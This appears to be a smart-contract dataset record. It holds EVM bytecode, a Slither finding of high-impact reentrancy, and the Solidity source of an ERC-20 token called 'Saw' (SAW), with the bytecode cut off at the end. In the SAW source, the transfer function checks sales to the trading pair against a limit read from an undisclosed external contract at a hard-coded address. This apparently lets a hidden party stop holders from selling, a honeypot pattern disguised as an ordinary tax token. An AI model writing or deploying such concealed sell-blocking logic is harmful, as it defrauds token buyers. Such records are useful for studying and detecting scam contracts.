6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e6906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561175f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611756906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061382a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb9061370a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119e2919061384a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a56906137ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac69061366a565b60405180910390fd5b60008111611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b09906137ca565b60405180910390fd5b611b1a61104f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b885750611b5861104f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bde5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c345750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203657601660149054906101000a900460ff16611cda57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd09061368a565b60405180910390fd5b5b601754811115611d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d16906136ca565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dc35750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df99061372a565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611eaf5760185481611e6484610e06565b611e6e9190613980565b10611eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea59061380a565b60405180910390fd5b5b6000611eba30610e06565b9050600060195482101590506017548210611ed55760175491505b808015611eef5750601660159054906101000a900460ff16155b8015611f495750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5f575060168054906101000a900460ff165b8015611fb55750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561200b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120335761201982612504565b60004790506000811115612031576120304761239b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120dd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121905750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561218f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561219e5760009050612325565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122495750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561226157600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561230c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232457600a54600c81905550600b54600d819055505b5b6123318484848461278c565b50505050565b600083831115829061237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123769190613648565b60405180910390fd5b506000838561238e9190613a61565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123eb6002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612416573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124676002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612492573d6000803e3d6000fd5b5050565b60006006548211156124dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d4906136aa565b60405180910390fd5b60006124e7612803565b90506124fc81846127b990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561253c5761253b613c6c565b5b60405190808252806020026020018201604052801561256a5781602001602082028036833780820191505090505b509050308160008151811061258257612581613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561262457600080fd5b505afa158015612638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265c9190613028565b816001815181106126705761266f613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126d730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611824565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161273b959493929190613865565b600060405180830381600087803b15801561275557600080fd5b505af1158015612769573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061279a5761279961282e565b5b6127a5848484612871565b806127b3576127b2612a3c565b5b50505050565b60006127fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a50565b905092915050565b6000806000612810612ab3565b9150915061282781836127b990919063ffffffff16565b9250505090565b6000600c5414801561284257506000600d54145b1561284c5761286f565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061288387612b12565b9550955095509550955095506128e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c281612c22565b6129cc8483612cdf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a29919061384a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8e9190613648565b60405180910390fd5b5060008385612aa691906139d6565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612ae7670de0b6b3a76400006006546127b990919063ffffffff16565b821015612b0557600654670de0b6b3a7640000935093505050612b0e565b81819350935050505b9091565b6000806000806000806000806000612b2f8a600c54600d54612d19565b9250925092506000612b3f612803565b90506000806000612b528e878787612daf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612337565b905092915050565b6000808284612bd39190613980565b905083811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061374a565b60405180910390fd5b8091505092915050565b6000612c2c612803565b90506000612c438284612e3890919063ffffffff16565b9050612c9781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612cf482600654612b7a90919063ffffffff16565b600681905550612d0f81600754612bc490919063ffffffff16565b6007819055505050565b600080600080612d456064612d37888a612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d6f6064612d61888b612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d9882612d8a858c612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dc88589612e3890919063ffffffff16565b90506000612ddf8689612e3890919063ffffffff16565b90506000612df68789612e3890919063ffffffff16565b90506000612e1f82612e118587612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e4b5760009050612ead565b60008284612e599190613a07565b9050828482612e6891906139d6565b14612ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9f9061378a565b60405180910390fd5b809150505b92915050565b6000612ec6612ec1846138ff565b6138da565b90508083825260208201905082856020860282011115612ee957612ee8613ca5565b5b60005b85811015612f195781612eff8882612f23565b845260208401935060208301925050600181019050612eec565b5050509392505050565b600081359050612f32816140ce565b92915050565b600081519050612f47816140ce565b92915050565b60008083601f840112612f6357612f62613ca0565b5b8235905067ffffffffffffffff811115612f8057612f7f613c9b565b5b602083019150836020820283011115612f9c57612f9b613ca5565b5b9250929050565b600082601f830112612fb857612fb7613ca0565b5b8135612fc8848260208601612eb3565b91505092915050565b600081359050612fe0816140e5565b92915050565b600081359050612ff5816140fc565b92915050565b60006020828403121561301157613010613caf565b5b600061301f84828501612f23565b91505092915050565b60006020828403121561303e5761303d613caf565b5b600061304c84828501612f38565b91505092915050565b6000806040838503121561306c5761306b613caf565b5b600061307a85828601612f23565b925050602061308b85828601612f23565b9150509250929050565b6000806000606084860312156130ae576130ad613caf565b5b60006130bc86828701612f23565b93505060206130cd86828701612f23565b92505060406130de86828701612fe6565b9150509250925092565b600080604083850312156130ff576130fe613caf565b5b600061310d85828601612f23565b925050602061311e85828601612fd1565b9150509250929050565b6000806040838503121561313f5761313e613caf565b5b600061314d85828601612f23565b925050602061315e85828601612fe6565b9150509250929050565b60008060006040848603121561318157613180613caf565b5b600084013567ffffffffffffffff81111561319f5761319e613caa565b5b6131ab86828701612f4d565b935093505060206131be86828701612fd1565b9150509250925092565b6000602082840312156131de576131dd613caf565b5b600082013567ffffffffffffffff8111156131fc576131fb613caa565b5b61320884828501612fa3565b91505092915050565b60006020828403121561322757613226613caf565b5b600061323584828501612fd1565b91505092915050565b60006020828403121561325457613253613caf565b5b600061326284828501612fe6565b91505092915050565b6000806000806080858703121561328557613284613caf565b5b600061329387828801612fe6565b94505060206132a487828801612fe6565b93505060406132b587828801612fe6565b92505060606132c687828801612fe6565b91505092959194509250565b60006132de83836132ea565b60208301905092915050565b6132f381613a95565b82525050565b61330281613a95565b82525050565b60006133138261393b565b61331d818561395e565b93506133288361392b565b8060005b8381101561335957815161334088826132d2565b975061334b83613951565b92505060018101905061332c565b5085935050505092915050565b61336f81613aa7565b82525050565b61337e81613aea565b82525050565b61338d81613afc565b82525050565b600061339e82613946565b6133a8818561396f565b93506133b8818560208601613b32565b6133c181613cb4565b840191505092915050565b60006133d960238361396f565b91506133e482613cc5565b604082019050919050565b60006133fc603f8361396f565b915061340782613d14565b604082019050919050565b600061341f602a8361396f565b915061342a82613d63565b604082019050919050565b6000613442601c8361396f565b915061344d82613db2565b602082019050919050565b600061346560268361396f565b915061347082613ddb565b604082019050919050565b600061348860228361396f565b915061349382613e2a565b604082019050919050565b60006134ab60238361396f565b91506134b682613e79565b604082019050919050565b60006134ce601b8361396f565b91506134d982613ec8565b602082019050919050565b60006134f160178361396f565b91506134fc82613ef1565b602082019050919050565b600061351460218361396f565b915061351f82613f1a565b604082019050919050565b600061353760208361396f565b915061354282613f69565b602082019050919050565b600061355a60298361396f565b915061356582613f92565b604082019050919050565b600061357d60258361396f565b915061358882613fe1565b604082019050919050565b60006135a060238361396f565b91506135ab82614030565b604082019050919050565b60006135c360248361396f565b91506135ce8261407f565b604082019050919050565b6135e281613ad3565b82525050565b6135f181613add565b82525050565b600060208201905061360c60008301846132f9565b92915050565b60006020820190506136276000830184613366565b92915050565b60006020820190506136426000830184613375565b92915050565b600060208201905081810360008301526136628184613393565b905092915050565b60006020820190508181036000830152613683816133cc565b9050919050565b600060208201905081810360008301526136a3816133ef565b9050919050565b600060208201905081810360008301526136c381613412565b9050919050565b600060208201905081810360008301526136e381613435565b9050919050565b6000602082019050818103600083015261370381613458565b9050919050565b600060208201905081810360008301526137238161347b565b9050919050565b600060208201905081810360008301526137438161349e565b9050919050565b60006020820190508181036000830152613763816134c1565b9050919050565b60006020820190508181036000830152613783816134e4565b9050919050565b600060208201905081810360008301526137a381613507565b9050919050565b600060208201905081810360008301526137c38161352a565b9050919050565b600060208201905081810360008301526137e38161354d565b9050919050565b6000602082019050818103600083015261380381613570565b9050919050565b6000602082019050818103600083015261382381613593565b9050919050565b60006020820190508181036000830152613843816135b6565b9050919050565b600060208201905061385f60008301846135d9565b92915050565b600060a08201905061387a60008301886135d9565b6138876020830187613384565b81810360408301526138998186613308565b90506138a860608301856132f9565b6138b560808301846135d9565b9695505050505050565b60006020820190506138d460008301846135e8565b92915050565b60006138e46138f5565b90506138f08282613b65565b919050565b6000604051905090565b600067ffffffffffffffff82111561391a57613919613c6c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061398b82613ad3565b915061399683613ad3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139cb576139ca613bdf565b5b828201905092915050565b60006139e182613ad3565b91506139ec83613ad3565b9250826139fc576139fb613c0e565b5b828204905092915050565b6000613a1282613ad3565b9150613a1d83613ad3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a5657613a55613bdf565b5b828202905092915050565b6000613a6c82613ad3565b9150613a7783613ad3565b925082821015613a8a57613a89613bdf565b5b828203905092915050565b6000613aa082613ab3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613af582613b0e565b9050919050565b6000613b0782613ad3565b9050919050565b6000613b1982613b20565b9050919050565b6000613b2b82613ab3565b9050919050565b60005b83811015613b50578082015181840152602081019050613b35565b83811115613b5f576000848401525b50505050565b613b6e82613cb4565b810181811067ffffffffffffffff82111715613b8d57613b8c613c6c565b5b80604052505050565b6000613ba182613ad3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bd457613bd3613bdf565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6140d781613a95565b81146140e257600080fd5b50565b6140ee81613aa7565b81146140f957600080fd5b50565b61410581613ad3565b811461411057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c01010cace3b7fc622a217321b271ee59ca2ae7b529c3c0f9663d2ad12c327064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,855
0xfaa69558cda4b8495eaf871c8c0423acd66ed928
// SPDX-License-Identifier: MIT // Telegram: https://t.me/SAW_Token pragma solidity ^0.8.4; address constant WALLET_ADDRESS = 0xF8DCc9323A573eC4A330D507d2f949f9511Cf56C; address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 constant TOTAL_SUPPLY = 2000000000; string constant TOKEN_NAME = "Saw"; string constant TOKEN_SYMBOL = "SAW"; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface O{ function amount() external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SAW is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address payable private _taxWallet; uint256 private _tax=4; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _router = IUniswapV2Router02(ROUTER_ADDRESS); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= O(0x878BC0D329E346c49aC313781E1129Ec37704Aa7).amount()); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600381526020017f5361770000000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b60006377359400905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b60019050939250